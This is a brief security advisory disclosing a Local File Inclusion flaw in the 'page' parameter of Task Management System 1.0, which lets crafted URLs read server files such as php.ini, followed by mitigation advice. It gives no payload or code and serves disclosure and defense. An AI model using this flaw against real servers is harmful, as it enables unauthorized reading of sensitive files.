Task Management System 1.0 – ‘page’ Local File Inclusion

Task Management System 1.0 is vulnerable to Local File Inclusion (LFI) due to insufficient sanitization of user-supplied input. An attacker can exploit this vulnerability by supplying a maliciously crafted URL to the application. By manipulating the 'page' parameter, an attacker can include a file from the local system. This can be used to read sensitive files from the server, such as the php.ini file. This vulnerability affects version 1 of the application and is tested on Windows 10 x86_64.

Mitigation:

Input validation should be used to prevent the inclusion of maliciously crafted URLs. The application should also be configured to only allow the inclusion of files from a specific directory.
